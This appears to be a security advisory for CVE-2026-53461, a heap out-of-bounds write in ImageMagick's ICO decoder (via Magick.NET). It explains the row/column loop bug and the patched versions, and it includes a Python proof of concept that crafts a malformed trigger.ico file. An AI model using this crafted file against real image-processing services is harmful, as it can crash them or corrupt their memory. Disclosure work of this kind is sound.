high · 7.5CVE-2026-53461Jun 25, 2026

CVE-2026-53461: ImageMagick ICON Decoder Heap Out-of-Bounds Write

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A loop bug in ImageMagick's ICON decoder lets a crafted .ICO file write past the end of a heap buffer, crashing any application that processes untrusted icons.

PackageMagick.NET-Q16-AnyCPU
Ecosystemnuget
Affected< 14.14.0
Fixed in14.14.0
CVE-2026-53461: ImageMagick ICON Decoder Heap Out-of-Bounds Write

The problem

The `Read1XImage()` function in `coders/icon.c` iterates over pixel rows using `image->columns` as the loop bound instead of `image->rows`. For a 64-wide x 32-tall (64x32) 1-bit ICO sub-image, the loop runs 64 times while only 32 rows of pixel storage are allocated.

Each extra iteration calls `QueueAuthenticPixels()` for a row index beyond the allocated buffer, resulting in a heap out-of-bounds write (CWE-787). The CVSS score is 7.5 (High), network-reachable with no authentication or user interaction required beyond supplying the file.

Proof of concept

bash
# Craft a minimal ICO with a 64x32 (width=64, height=32) 1-bit sub-image.
# The ICONDIR entry must declare bWidth=64, bHeight=32 (or bHeight=64 in
# the ICONDIRENTRY biHeight field — stored doubled — giving 32 actual rows).
# This triggers Read1XImage() to loop y=0..63 while only 32 rows exist.

python3 - <<'EOF'
import struct, sys

# ICONDIR header: reserved=0, type=1 (ICO), count=1
ico  = struct.pack('<HHH', 0, 1, 1)

# ICONDIRENTRY: bWidth=64, bHeight=32, bColorCount=0, bReserved=0,
#   wPlanes=1, wBitCount=1, dwBytesInRes=<size>, dwImageOffset=22
bmp_width  = 64
bmp_height = 32   # only 32 rows allocated
planes     = 1
bpp        = 1

# Minimal BITMAPINFOHEADER (40 bytes) for a 64x32 1-bpp image
# biHeight is stored doubled (XOR+AND masks) => 64
bih_size   = 40
bi_height  = bmp_height * 2   # == 64 (doubled, as per ICO spec)
row_bytes  = ((bmp_width * bpp + 31) // 32) * 4  # == 8 bytes/row
xor_size   = row_bytes * bmp_height              # XOR mask: 32 rows * 8 = 256
and_size   = row_bytes * bmp_height              # AND mask: 256
palette    = b'\x00\x00\x00\x00\xff\xff\xff\x00'  # 2 palette entries
xor_data   = b'\xff' * xor_size
and_data   = b'\x00' * and_size
bmp_data   = (
    struct.pack('<IiiHHIIiiII',
        bih_size, bmp_width, bi_height, planes, bpp,
        0, 0, 0, 0, 2, 0)  # BI_RGB, 2 colors used
    + palette + xor_data + and_data
)

total_bmp  = len(bmp_data)
offset     = 6 + 16   # ICONDIR(6) + one ICONDIRENTRY(16)
ico += struct.pack('<BBBBHHII',
    bmp_width & 0xff,  # bWidth  = 64 (stored as 0 means 256; use 64)
    bmp_height & 0xff, # bHeight = 32
    0, 0,              # bColorCount, bReserved
    planes, bpp,
    total_bmp, offset)
ico += bmp_data

with open('trigger.ico', 'wb') as f:
    f.write(ico)
print('Written trigger.ico  (64x32 1-bpp ICO)')
print('Run: convert trigger.ico out.png')
EOF

The root cause is a copy-paste error: the loop in `Read1XImage()` uses `image->columns` (width, 64) as the row count instead of `image->rows` (height, 32). Each call to `QueueAuthenticPixels(image, 0, y, image->columns, 1, ...)` for y >= 32 writes into memory that was never allocated for pixel data, producing a heap buffer over-write (CWE-787).

The patch simply changes the loop bound from `image->columns` to `image->rows`, so the iterator never exceeds the allocated row count. Because ICO files permit asymmetric 64x32 dimensions and no other guard caught the mismatch, any caller that processes user-supplied .ICO data was reachable over the network.

The fix

Update Magick.NET-Q16-AnyCPU to version 14.14.0 or later (NuGet). For the underlying ImageMagick C library, upgrade to 7.1.2-25 (ImageMagick 7) or 6.9.13-50 (ImageMagick 6). No workaround is available short of blocking ICO file processing via ImageMagick policy.

Reported by vibhum-dubey.

References: [1][2][3]